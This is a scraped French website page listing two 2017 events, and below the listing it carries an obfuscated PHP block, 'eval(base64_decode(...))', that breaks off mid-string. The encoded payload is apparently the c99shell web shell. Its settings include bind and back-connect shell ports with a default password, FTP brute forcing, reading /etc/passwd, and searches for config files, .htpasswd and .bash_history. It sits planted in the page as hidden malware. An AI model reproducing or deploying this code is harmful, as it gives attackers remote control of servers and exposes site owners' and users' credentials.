ENNL

Prochainement…
31/03/2017 : ANTIQUITES - BROCANTE
31/03/2017 : LE GRAND BRASSAGE DES POPULATIONS

miniature panier
X

<?
eval(base64_decode('LyoNCioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKg0KKg0KKiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjOTlzaGVsbC5waHAgdi4xLjAgcHJlLXJlbGVhc2UgYnVpbGQgIzUNCiogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEZyZWV3YXJlIGxpY2Vuc2UuDQoqICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIKkgQ0NUZWFNLg0KKiAgYzk5c2hlbGwgLSD04OnrLezl7eXk5uXwIPfl8OXnIHd3dy3h8O7z5+XwLCAi5+Dy7vfl7fvpIiDk6/8g4ufr7uzgLg0KKiAgwvsg7O7m5fLlIOHl8e/r4PLt7iDx6uD34PL8IO/u8evl5O3+/iDi5fDx6P4g7eAg5O7s4Pjt5ekg8fLw4O3o9+rlIO/w7uTz6vLgOg0KICAgaHR0cDovL2NjdGVhbS5ydS9yZWxlYXNlcy9jOTlzaGVsbA0KKg0KKiAgV0VCOiBodHRwOi8vY2N0ZWFtLnJ1DQoqICBJQ1EgVUlOICM6IDY1NjU1NQ0KKg0KKiAgzvHu4eXt7e7x8ug6DQoqICArIPPv8ODi6+Xt6OUg6+7q4Ov87fvs6CDoIPPk4Ovl7e377OggKGZ0cCwgc2FtYmEgKikg9ODp6+Ds6C/v4O/q4OzoLCDx7vDy6PDu4urgDQoqICAgIOfg6uD36OLg7ejlIPHq4Pfo4uDt6OUg9ODp6+7iIOgg7+Dv7uoNCiogICAgKO/w5eTi7vDo8uXr/O3uIPPv4Oru4vvi4OXy8f8v8ODx7+Dq7uL74uDl8vH/IPfl8OXnIHRhciAqKQ0KKiAgICDv8O7k4ujt8/L76SDv7ujx6iAo4u7n7O7m5e0g4u3z8vDoIPTg6evu4ikNCiogICAgbW9kaWZ5LXRpbWUg6CBhY2Nlc3MtdGltZSDzIPTg6evu4iDt5SDs5e3//vLx/yDv8Ogg8OXk4Ory6PDu4uDt6OggKOL76usuL+Lq6y4g7+Dw4Ozl8vDu7CAkZmlsZXN0ZWFsdGgpDQoqICArIO/w7uTi6O3z8vvpIFNRTC3s5e3l5Obl8CDt5SDz8fLz7+D++ejpIHBocG15YWRtaW4sDQogICAgIO/w7vHs7vLwL/Hu5+Tg7ejlL/Dl5ODq8ujw7uLg7ejlIMHEL/Lg4evo9iwg7/Du8ezu8vAg9ODp6+7iIPfl8OXnIOHw5fj8IOIgbXlzcWwNCiogICsg8+/w4OLr5e3o5SDv8O725fHx4OzoIHVuaXgt7OD46O37Lg0KKiAgKyDz5O7h7e7lICjo7e7j5OAg4/Dg9Oj35fHq7uUpIOL77+7r7eXt6OUgc2hlbGwt6u7s4O3kICjs7e7j7iDg6+jg8e7iLCDs7ubt7iDw5eTg6vLo8O7i4PL8KQ0KKiAgKyDi++/u6+3l7ejlIO/w7ujn4u7r/O3u4+4gUEhQLeru5OANCiogICsg6u7k6PDu4vno6iDk4O3t+/Ug9+Xw5ecgbWQ1LCB1bml4LW1kNSwgc2hhMSwgY3JjMzIsIGJhc2U2NA0KKiAgKyDh+/Hy8PvpIOvu6uDr/O376SDg7eDr6Ocg4eXn7u/g8e3u8fLoIM7RDQoqICArIOH78fLw7uUgZnRwLfHq4O3o8O7i4O3o5SDt4CDx4v/n6uggbG9naW47bG9naW4g6OcgL2V0Yy9wYXNzd2QgKO7h+/ft7iDk4OXyIOTu8fLz7yDqIDEvMTAwIODq6uDz7fLu4ikNCiogICAg7+7x8vDg7ej37fvpIOL74u7kLCDx7vDy6PDu4urgLCDj8PPv7+7i++Ug7u/l8OD26Ogg7eDkIMHEL/Lg4evo9uDs6Cwg8+/w4OLr5e3o5SDv8O725fHx4OzoIFNRTCkNCiogICsg8erw6O/yICLr/uHo8iIgaW5jbHVkZTog4OLy7uzg8uj35fHq6CDo+eXyIO/l8OXs5e3t++Ug8SDk5fHq8Ojv8u7w4OzoIOgg4vHy4OLr/+XyIOj1IOIg8fH76+roICju7/bo4Ov87e4pDQogICAgIPLg6ublIOzu5u3uIOjn7OXt6PL8ICRzdXJsICjh4Ofu4uD/IPHx++vq4Ckg6uDqIPfl8OXnIOru7fTo4/Pw4Pbo/iAo7/Do7fPk6PLl6/zt7ikg8uDqIOgg9+Xw5ecgY29va2llICJjOTlzaF9zdXJsIiwNCiAgICAg6OTl8iDg4vLuLefg7+jx/CDn7eD35e3o/yAkc2V0X3N1cmwg4iBjb29raWUgInNldF9zdXJsIg0KKiAgKyDi7ufs7ubt7vHy/CAi5+Dh6O3k6PL8IiAvYmluL2Jhc2gg7eAg7u/w5eTl6+Xt7fvpIO/u8PIg8SDv8O7o5+Lu6/zt++wg7+Dw7uvl7CwNCiogICAg6OvoIPHk5evg8vwgYmFjayBjb25uZWN0ICjv8O7o5+Lu5Ojy8f8g8uXx8ujw7uLg7ejlIPHu5eTl7eXt6P8sIOgg4vvi7uT/8vH/IO/g8ODs5fLw+yDk6/8g5+Dv8/Hq4CBOZXRDYXQpLg0KKiAgKyDi7ufs7ubt7vHy/CDh+/Hy8O7j7iDx4OzuLfPk4Ovl7ej/IPHq8Ojv8uANCiogICsg4OLy7uzg8ujn6PDu4uDt4P8g7vLv8ODi6uAg8e7u4fnl7ejpIO4g7eXk7vDg4e7y6uD1IOgg7+7m5evg7ejpIODi8u7w8yAo9+Xw5ecgbWFpbCgpKQ0KDQoqICAqIC0g8/Hv5fUg7+7r7e7x8vz+IOfg4ujx6PIg7vIg6u7t9Ojj8/Dg9ujoIFBIUA0KKg0KKiAgICAgICAgwiDu4fnl7CDt8+bt7iDz4ujk5fL8IOLxuCD98u4hDQoqDQoqICAgzubo5ODl7PvlIOjn7OXt5e3o/zoNCiogIH4g0ODn4ujy6OUgc3FsLezl7eXk5uXw4A0KKiAgfiDE7uHg4uvl7ejlIO3l5O7x8uD++ej1IPDg8fjo8OXt6Okg9ODp6+7iDQoqDQoqICB+LX4gz+j46PLlIO7h7iDi8eX1IO3g6eTl7fv1IO3l5O7w4OHu8urg9Swg5uXr4OXs+/Ug6Ofs5e3l7ej/9SDoIOTu8ODh7vLq4PUgKOTg5uUg7iDx4Oz79SDt5eft4Pfo8uXr/O379SEpDQogICAgICAg4iBJQ1EgVUlOICM2NTY1NTUg6+jh7iD35fDl5yDw4Ofk5esgImZlZWRiYWNrIiwg4fPk8/Ig8ODx8ezu8vDl7fsg4vHlIO/w5eTr7ubl7ej/IOgg7+7m5evg7ej/Lg0KKg0KKiAgTGFzdCBtb2RpZnk6IDMuMDcuMjAwNQ0KKg0KKiAgqSBDYXB0YWluIENydW5jaCBTZWN1cml0eSBUZWFNLiBDb2RlZCBieSB0cmlzdHJhbQ0KKg0KKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqDQoqLw0KLy9TdGFydGluZyBjYWxscw0KaWYgKCFmdW5jdGlvbl9leGlzdHMoImdldG1pY3JvdGltZSIpKSB7ZnVuY3Rpb24gZ2V0bWljcm90aW1lKCkge2xpc3QoJHVzZWMsICRzZWMpID0gZXhwbG9kZSgiICIsIG1pY3JvdGltZSgpKTsgcmV0dXJuICgoZmxvYXQpJHVzZWMgKyAoZmxvYXQpJHNlYyk7fX0NCmVycm9yX3JlcG9ydGluZyg1KTsNCkBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsNCkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7DQokd2luID0gc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT0gIndpbiI7DQpkZWZpbmUoInN0YXJ0dGltZSIsZ2V0bWljcm90aW1lKCkpOw0KaWYgKGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpIHtpZiAoIWZ1bmN0aW9uX2V4aXN0cygic3RyaXBzIikpIHtmdW5jdGlvbiBzdHJpcHMoJiRhcnIsJGs9IiIpIHtpZiAoaXNfYXJyYXkoJGFycikpIHtmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7aWYgKHN0cnRvdXBwZXIoJGspICE9ICJHTE9CQUxTIikge3N0cmlwcygkYXJyWyIkayJdKTt9fX0gZWxzZSB7JGFyciA9IHN0cmlwc2xhc2hlcygkYXJyKTt9fX0gc3RyaXBzKCRHTE9CQUxTKTt9DQokX1JFUVVFU1QgPSBhcnJheV9tZXJnZSgkX0NPT0tJRSwkX0dFVCwkX1BPU1QpOw0KZm9yZWFjaCgkX1JFUVVFU1QgYXMgJGs9PiR2KSB7aWYgKCFpc3NldCgkJGspKSB7JCRrID0gJHY7fX0NCg0KJHNodmVyID0gIjEuMCBwcmUtcmVsZWFzZSBidWlsZCAjNSI7IC8vQ3VycmVudCB2ZXJzaW9uDQovL0NPTkZJR1VSQVRJT04gQU5EIFNFVFRJTkdTDQppZiAoIWVtcHR5KCR1bnNldF9zdXJsKSkge3NldGNvb2tpZSgiYzk5c2hfc3VybCIpOyAkc3VybCA9ICIiO30NCmVsc2VpZiAoIWVtcHR5KCRzZXRfc3VybCkpIHskc3VybCA9ICRzZXRfc3VybDsgc2V0Y29va2llKCJjOTlzaF9zdXJsIiwkc3VybCk7fQ0KZWxzZSB7JHN1cmwgPSAkX1JFUVVFU1RbImM5OXNoX3N1cmwiXTsgLy9TZXQgdGhpcyBjb29raWUgZm9yIG1hbnVhbCBTVVJMDQp9DQoNCiRzdXJsX2F1dG9maWxsX2luY2x1ZGUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzZWFyY2ggdmFyaWFibGVzIHdpdGggZGVzY3JpcHRvcnMgKFVSTHMpIGFuZCBzYXZlIGl0IGluIFNVUkwuDQoNCmlmICgkc3VybF9hdXRvZmlsbF9pbmNsdWRlIGFuZCAhJF9SRVFVRVNUWyJjOTlzaF9zdXJsIl0pIHskaW5jbHVkZSA9ICImIjsgZm9yZWFjaCAoZXhwbG9kZSgiJiIsZ2V0ZW52KCJRVUVSWV9TVFJJTkciKSkgYXMgJHYpIHskdiA9IGV4cGxvZGUoIj0iLCR2KTsgJG5hbWUgPSB1cmxkZWNvZGUoJHZbMF0pOyAkdmFsdWUgPSB1cmxkZWNvZGUoJHZbMV0pOyBmb3JlYWNoIChhcnJheSgiaHR0cDovLyIsImh0dHBzOi8vIiwic3NsOi8vIiwiZnRwOi8vIiwiXFxcXCIpIGFzICRuZWVkbGUpIHtpZiAoc3RycG9zKCR2YWx1ZSwkbmVlZGxlKSA9PT0gMCkgeyRpbmNsdWRlc3RyIC49IHVybGVuY29kZSgkbmFtZSkuIj0iLnVybGVuY29kZSgkdmFsdWUpLiImIjt9fX0gaWYgKCRfUkVRVUVTVFsic3VybF9hdXRvZmlsbF9pbmNsdWRlIl0pIHskaW5jbHVkZXN0ciAuPSAic3VybF9hdXRvZmlsbF9pbmNsdWRlPTEmIjt9fQ0KaWYgKGVtcHR5KCRzdXJsKSkNCnsNCiAkc3VybCA9ICI/Ii4kaW5jbHVkZXN0cjsgLy9TZWxmIHVybA0KfQ0KJHN1cmwgPSBodG1sc3BlY2lhbGNoYXJzKCRzdXJsKTsNCg0KJHRpbWVsaW1pdCA9IDA7IC8vdGltZSBsaW1pdCBvZiBleGVjdXRpb24gdGhpcyBzY3JpcHQgb3ZlciBzZXJ2ZXIgcXVvdGUgKHNlY29uZHMpLCAwID0gdW5saW1pdGVkLg0KDQovL0F1dGhlbnRpY2F0aW9uDQokbG9naW4gPSAiIjsgLy9sb2dpbg0KLy9ET04nVCBGT1JHT1QgQUJPVVQgUEFTU1dPUkQhISENCiRwYXNzID0gIiI7IC8vcGFzc3dvcmQNCiRtZDVfcGFzcyA9ICIiOyAvL21kNS1jcnlwZWQgcGFzcy4gaWYgbnVsbCwgbWQ1KCRwYXNzKQ0KDQppZiAoc3RyaXN0cigkX1NFUlZFUlsiR0FURVdBWV9JTlRFUkZBQ0UiXSwiY2dpIikpIHskbG9naW4gPSAiIjt9IC8vIElmIENHSSB0aGVuIHR1cm4gb2ZmIGF1dGguDQoNCiRob3N0X2FsbG93ID0gYXJyYXkoIioiKTsgLy9hcnJheSAoInttYXNrfTEiLCJ7bWFza30yIiwuLi4pLCB7bWFza30gPSBJUCBvciBIT1NUIGUuZy4gYXJyYXkoIjE5Mi4xNjguMC4qIiwiMTI3LjAuMC4xIikNCiRsb2dpbl90eHQgPSAiUmVzdHJpY3RlZCBhcmVhIjsgLy9odHRwLWF1dGggbWVzc2FnZS4NCiRhY2Nlc3NkZW5pZWRtZXNzID0gIjxhIGhyZWY9XCJodHRwOi8vY2N0ZWFtLnJ1L3JlbGVhc2VzL2M5OXNoZWxsXCI+Yzk5c2hlbGwgdi4iLiRzaHZlci4iPC9hPjogYWNjZXNzIGRlbmllZCI7DQoNCiRnemlwZW5jb2RlID0gdHJ1ZTsgLy9FbmNvZGUgd2l0aCBnemlwPw0KDQokYXV0b3VwZGF0ZSA9IGZhbHNlOyAvL0F1dG9tYXRpYyB1cGRhdGluZz8NCg0KJHVwZGF0ZW5vdyA9IGZhbHNlOyAvL0lmIHRydWUsIHVwZGF0ZSBub3cgKHRoaXMgdmFyaWFibGUgd2lsbCBiZSBmYWxzZSkNCg0KJGM5OXNoX3VwZGF0ZXVybCA9ICJodHRwOi8vY2N0ZWFtLnJ1L3VwZGF0ZS9jOTlzaGVsbC8iOyAvL1VwZGF0ZSBzZXJ2ZXINCg0KJGZpbGVzdGVhbHRoID0gdHJ1ZTsgLy9pZiB0cnVlLCBkb24ndCBjaGFuZ2UgbW9kaWZ5JmFjY2Vzcy10aW1lDQoNCiRkb25hdGVkX2h0bWwgPSAiPGNlbnRlcj48Yj5Pd25lZCBieSBoYWNrZXI8L2I+PC9jZW50ZXI+IjsNCiAgICAgICAgICAgICAgICAvKiBJZiB5b3UgcHVibGlzaCBmcmVlIHNoZWxsIGFuZCB5b3Ugd2lzaA0KICAgICAgICAgICAgICAgIGFkZCBsaW5rIHRvIHlvdXIgc2l0ZSBvciBhbnkgb3RoZXIgaW5mb3JtYXRpb24sDQogICAgICAgICAgICAgICAgcHV0IGhlcmUgeW91ciBodG1sLiAqLw0KJGRvbmF0ZWRfYWN0ID0gYXJyYXkoIiIpOyAvL2FycmF5ICgiYWN0MSIsImFjdDIsIi4uLiksIGlmICRhY3QgaXMgaW4gdGhpcyBhcnJheSwgZGlzcGxheSAkZG9uYXRlZF9odG1sLg0KDQokY3VyZGlyID0gIi4vIjsgLy9zdGFydCBmb2xkZXINCi8vJGN1cmRpciA9IGdldGVudigiRE9DVU1FTlRfUk9PVCIpOw0KJHRtcGRpciA9ICIiOyAvL0ZvbGRlciBmb3IgdGVtcG9yeSBmaWxlcy4gSWYgZW1wdHksIGF1dG8tZmlsbCAoL3RtcCBvciAlV0lORElSL3RlbXApDQokdG1wZGlyX2xvZyA9ICIuLyI7IC8vRGlyZWN0b3J5IGxvZ3Mgb2YgbG9uZyBwcm9jZXNzZXMgKGUuZy4gYnJ1dGUsIHNjYW4uLi4pDQoNCiRsb2dfZW1haWwgPSAidXNlckBob3N0LnRsZCI7IC8vRGVmYXVsdCBlLW1haWwgZm9yIHNlbmRpbmcgbG9ncw0KDQokc29ydF9kZWZhdWx0ID0gIjBhIjsgLy9EZWZhdWx0IHNvcnRpbmcsIDAgLSBudW1iZXIgb2YgY29sb21uLCAiYSJzY2VuZGluZyBvciAiZCJlc2NlbmRpbmcNCiRzb3J0X3NhdmUgPSB0cnVlOyAvL0lmIHRydWUgdGhlbiBzYXZlIHNvcnRpbmctdHlwZS4NCg0KLy8gUmVnaXN0ZXJlZCBmaWxlLXR5cGVzLg0KLy8gIGFycmF5KA0KLy8gICAie2FjdGlvbjF9Ij0+YXJyYXkoImV4dDEiLCJleHQyIiwiZXh0MyIsLi4uKSwNCi8vICAgInthY3Rpb24yfSI9PmFycmF5KCJleHQ0IiwiZXh0NSIsImV4dDYiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCiRmdHlwZXMgID0gYXJyYXkoDQogImh0bWwiPT5hcnJheSgiaHRtbCIsImh0bSIsInNodG1sIiksDQogInR4dCI9PmFycmF5KCJ0eHQiLCJjb25mIiwiYmF0Iiwic2giLCJqcyIsImJhayIsImRvYyIsImxvZyIsInNmYyIsImNmZyIsImh0YWNjZXNzIiksDQogImV4ZSI9PmFycmF5KCJzaCIsImluc3RhbGwiLCJiYXQiLCJjbWQiKSwNCiAiaW5pIj0+YXJyYXkoImluaSIsImluZiIpLA0KICJjb2RlIj0+YXJyYXkoInBocCIsInBodG1sIiwicGhwMyIsInBocDQiLCJpbmMiLCJ0Y2wiLCJoIiwiYyIsImNwcCIsInB5IiwiY2dpIiwicGwiKSwNCiAiaW1nIj0+YXJyYXkoImdpZiIsInBuZyIsImpwZWciLCJqZmlmIiwianBnIiwianBlIiwiYm1wIiwiaWNvIiwidGlmIiwidGlmZiIsImF2aSIsIm1wZyIsIm1wZWciKSwNCiAic2RiIj0+YXJyYXkoInNkYiIpLA0KICJwaHBzZXNzIj0+YXJyYXkoInNlc3MiKSwNCiAiZG93bmxvYWQiPT5hcnJheSgiZXhlIiwiY29tIiwicGlmIiwic3JjIiwibG5rIiwiemlwIiwicmFyIiwiZ3oiLCJ0YXIiKQ0KKTsNCg0KLy8gUmVnaXN0ZXJlZCBleGVjdXRhYmxlIGZpbGUtdHlwZXMuDQovLyAgYXJyYXkoDQovLyAgIHN0cmluZyAiY29tbWFuZHtpfSI9PmFycmF5KCJleHQxIiwiZXh0MiIsImV4dDMiLC4uLiksDQovLyAgIC4uLg0KLy8gICkNCi8vICAge2NvbW1hbmR9OiAlZiUgPSBmaWxlbmFtZQ0KJGV4ZWZ0eXBlcyAgPSBhcnJheSgNCiBnZXRlbnYoIlBIUFJDIikuIiAlZiUiPT5hcnJheSgicGhwIiwicGhwMyIsInBocDQiKSwNCik7DQoNCi8qIEhpZ2hsaWdodGVkIGZpbGVzLg0KICBhcnJheSgNCiAgIGk9PmFycmF5KHtyZWdleHB9LHt0eXBlfSx7b3BlbnRhZ30se2Nsb3NldGFnfSx7YnJlYWt9KQ0KICAgLi4uDQogICkNCiAgc3RyaW5nIHtyZWdleHB9IC0gcmVndWxhciBleHAuDQogIGludCB7dHlwZX06DQogICAgICAgIDAgLSBmaWxlcyBhbmQgZm9sZGVycyAoYXMgZGVmYXVsdCksDQogICAgICAgIDEgLSBmaWxlcyBvbmx5LCAyIC0gZm9sZGVycyBvbmx5DQogIHN0cmluZyB7b3BlbnRhZ30gLSBvcGVuIGh0bWwtdGFnLCBlLmcuICI8Yj4iIChkZWZhdWx0KQ0KICBzdHJpbmcge2Nsb3NldGFnfSAtIGNsb3NlIGh0bWwtdGFnLCBlLmcuICI8L2I+IiAoZGVmYXVsdCkNCiAgYm9vbCB7YnJlYWt9IC0gaWYgdHJ1ZSBhbmQgZm91bmQgbWF0Y2ggdGhlbiBicmVhaw0KKi8NCiRyZWd4cF9oaWdobGlnaHQgID0gYXJyYXkoDQogIGFycmF5KGJhc2VuYW1lKCRfU0VSVkVSWyJQSFBfU0VMRiJdKSwxLCI8Zm9udCBjb2xvcj1cInllbGxvd1wiPiIsIjwvZm9udD4iKSwgLy8gZXhhbXBsZQ0KICBhcnJheSgiY29uZmlnLnBocCIsMSkgLy8gZXhhbXBsZQ0KKTsNCg0KJHNhZmVtb2RlX2Rpc2tldHRlcyA9IGFycmF5KCJhIik7IC8vIFRoaXMgdmFyaWFibGUgZm9yIGRpc2FibGluZyBkaXNrZXR0LWVycm9ycy4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAvLyBhcnJheSAoaT0+e2xldHRlcn0gLi4uKTsgc3RyaW5nIHtsZXR0ZXJ9IC0gbGV0dGVyIG9mIGEgZHJpdmUNCi8vJHNhZmVtb2RlX2Rpc2tldHRlcyA9IHJhbmdlKCJhIiwieiIpOw0KJGhleGR1bXBfbGluZXMgPSA4OyAgICAgICAgLy8gbGluZXMgaW4gaGV4IHByZXZpZXcgZmlsZQ0KJGhleGR1bXBfcm93cyA9IDI0OyAgICAgICAgLy8gMTYsIDI0IG9yIDMyIGJ5dGVzIGluIG9uZSBsaW5lDQoNCiRuaXhwd2RwZXJwYWdlID0gMTAwOyAvLyBHZXQgZmlyc3QgTiBsaW5lcyBmcm9tIC9ldGMvcGFzc3dkDQoNCiRiaW5kcG9ydF9wYXNzID0gImM5OSI7ICAgICAgICAgIC8vIGRlZmF1bHQgcGFzc3dvcmQgZm9yIGJpbmRpbmcNCiRiaW5kcG9ydF9wb3J0ID0gIjMxMzczIjsgLy8gZGVmYXVsdCBwb3J0IGZvciBiaW5kaW5nDQokYmNfcG9ydCA9ICIzMTM3MyI7IC8vIGRlZmF1bHQgcG9ydCBmb3IgYmFjay1jb25uZWN0DQoNCi8vIENvbW1hbmQtYWxpYXNlcw0KaWYgKCEkd2luKQ0Kew0KICRjbWRhbGlhc2VzID0gYXJyYXkoDQogIGFycmF5KCItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSIsICJscyAtbGEiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHN1aWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTA0MDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzdWlkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wNDAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgYWxsIHNnaWQgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLXBlcm0gLTAyMDAwIC1scyIpLA0KICBhcnJheSgiZmluZCBzZ2lkIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1wZXJtIC0wMjAwMCAtbHMiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnLmluYy5waHAgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgY29uZmlnLmluYy5waHAiKSwNCiAgYXJyYXkoImZpbmQgY29uZmlnKiBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBcImNvbmZpZypcIiIpLA0KICBhcnJheSgiZmluZCBjb25maWcqIGZpbGVzIGluIGN1cnJlbnQgZGlyIiwgImZpbmQgLiAtdHlwZSBmIC1uYW1lIFwiY29uZmlnKlwiIiksDQogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyIsICJmaW5kIC8gLXBlcm0gLTIgLWxzIiksDQogIGFycmF5KCJmaW5kIGFsbCB3cml0YWJsZSBmb2xkZXJzIGFuZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXBlcm0gLTIgLWxzIiksDQogIGFycmF5KCJmaW5kIGFsbCBzZXJ2aWNlLnB3ZCBmaWxlcyIsICJmaW5kIC8gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLA0KICBhcnJheSgiZmluZCBzZXJ2aWNlLnB3ZCBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSBzZXJ2aWNlLnB3ZCIpLA0KICBhcnJheSgiZmluZCBhbGwgLmh0cGFzc3dkIGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5odHBhc3N3ZCIpLA0KICBhcnJheSgiZmluZCAuaHRwYXNzd2QgZmlsZXMgaW4gY3VycmVudCBkaXIiLCAiZmluZCAuIC10eXBlIGYgLW5hbWUgLmh0cGFzc3dkIiksDQogIGFycmF5KCJmaW5kIGFsbCAuYmFzaF9oaXN0b3J5IGZpbGVzIiwgImZpbmQgLyAtdHlwZSBmIC1uYW1lIC5iYXNoX2hpc3RvcnkiKSwNCiAgYXJyYXkoImZpbmQgLmJhc2hfaGlzdG9yeSBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuYmFzaF9oaXN0b3J5IiksDQogIGFycmF5KCJmaW5kIGFsbCAuZmV0Y2htYWlscmMgZmlsZXMiLCAiZmluZCAvIC10eXBlIGYgLW5hbWUgLmZldGNobWFpbHJjIiksDQogIGFycmF5KCJmaW5kIC5mZXRjaG1haWxyYyBmaWxlcyBpbiBjdXJyZW50IGRpciIsICJmaW5kIC4gLXR5cGUgZiAtbmFtZSAuZmV0Y2htYWlscmMiKSwNCiAgYXJyYXkoImxpc3QgZmlsZSBhdHRyaWJ1dGVzIG9uIGEgTGludXggc2Vjb25kIGV4dGVuZGVkIGZpbGUgc3lzdGVtIiwgImxzYXR0ciAtdmEiKSwNCiAgYXJyYXkoInNob3cgb3BlbmVkIHBvcnRzIiwgIm5ldHN0YXQgLWFuIHwgZ3JlcCAtaSBsaXN0ZW4iKQ0KICk7DQp9DQplbHNlDQp7DQogJGNtZGFsaWFzZXMgPSBhcnJheSgNCiAgYXJyYXkoIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIiwgImRpciIpLA0KICBhcnJheSgic2hvdyBvcGVuZWQgcG9ydHMiLCAibmV0c3RhdCAtYW4iKQ0KICk7DQp9DQoNCiRzZXNzX2Nvb2tpZSA9ICJjOTlzaHZhcnMiOyAvLyBDb29raWUtdmFyaWFibGUgbmFtZQ0KDQokdXNlZnNidWZmID0gdHJ1ZTsgLy9CdWZmZXItZnVuY3Rpb24NCiRjb3B5X3Vuc2V0ID0gZmFsc2U7IC8vUmVtb3ZlIGNvcGllZCBmaWxlcyBmcm9tIGJ1ZmZlciBhZnRlciBwYXN0aW5nDQoNCi8vUXVpY2sgbGF1bmNoDQokcXVpY2tsYXVuY2ggPSBhcnJheSgNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1ob21lXCIgYWx0PVwiSG9tZVwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsKSwNCiBhcnJheSgiPGltZyBzcmM9XCIiLiRzdXJsLiJhY3Q9aW1nJmltZz1iYWNrXCIgYWx0PVwiQmFja1wiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCIjXCIgb25jbGljaz1cImhpc3RvcnkuYmFjaygxKSIpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWZvcndhcmRcIiBhbHQ9XCJGb3J3YXJkXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsIiNcIiBvbmNsaWNrPVwiaGlzdG9yeS5nbygxKSIpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPXVwXCIgYWx0PVwiVVBESVJcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMjBcIiBib3JkZXI9XCIwXCI+Iiwkc3VybC4iYWN0PWxzJmQ9JXVwZCZzb3J0PSVzb3J0IiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9cmVmcmVzaFwiIGFsdD1cIlJlZnJlc2hcIiBoZWlnaHQ9XCIyMFwiIHdpZHRoPVwiMTdcIiBib3JkZXI9XCIwXCI+IiwiIiksDQogYXJyYXkoIjxpbWcgc3JjPVwiIi4kc3VybC4iYWN0PWltZyZpbWc9c2VhcmNoXCIgYWx0PVwiU2VhcmNoXCIgaGVpZ2h0PVwiMjBcIiB3aWR0aD1cIjIwXCIgYm9yZGVyPVwiMFwiPiIsJHN1cmwuImFjdD1zZWFyY2gmZD0lZCIpLA0KIGFycmF5KCI8aW1nIHNyYz1cIiIuJHN1cmwuImFjdD1pbWcmaW1nPWJ1ZmZlclwiIGFsdD1cIkJ1ZmZlclwiIGhlaWdodD1cIjIwXCIgd2lkdGg9XCIyMFwiIGJvcmRlcj1cIjBcIj4iLCRzdXJsLiJhY3Q9ZnNidWZmJmQ9JWQiKSwNCiBhcnJheSgiPGI+RW5jb2RlcjwvYj4iLCRzdXJsLiJhY3Q9ZW5jb2RlciZkPSVkIiksDQogYXJyYXkoIjxiPkJpbmQ8L2I+Iiwkc3VybC4iYWN0PWJpbmQmZD0lZCIpLA0KIGFycmF5KCI8Yj5Qcm9jLjwvYj4iLCRzdXJsLiJhY3Q9cHJvY2Vzc2VzJmQ9JWQiKSwNCiBhcnJheSgiPGI+RlRQIGJydXRlPC9iPiIsJHN1cmwuImFjdD1mdHBxdWlja2JydXRlJmQ9JWQiKSwNCiBhcnJheSgiPGI+U2VjLjwvYj4iLCRzdXJsLiJhY3Q9c2VjdXJpdHkmZD0lZCIpLA0KIGFycmF5KCI8Yj5TUUw8L2I+Iiwkc3VybC4iYWN0PXNxbCZkPSVkIiksDQogYXJyYXkoIjxiPlBIUC1jb2RlPC9iPiIsJHN1cmwuImFjdD1ldmFsJmQ9JWQiKSwNCiBhcnJheSgiPGI+VXBkYXRlPC9iPiIsJHN1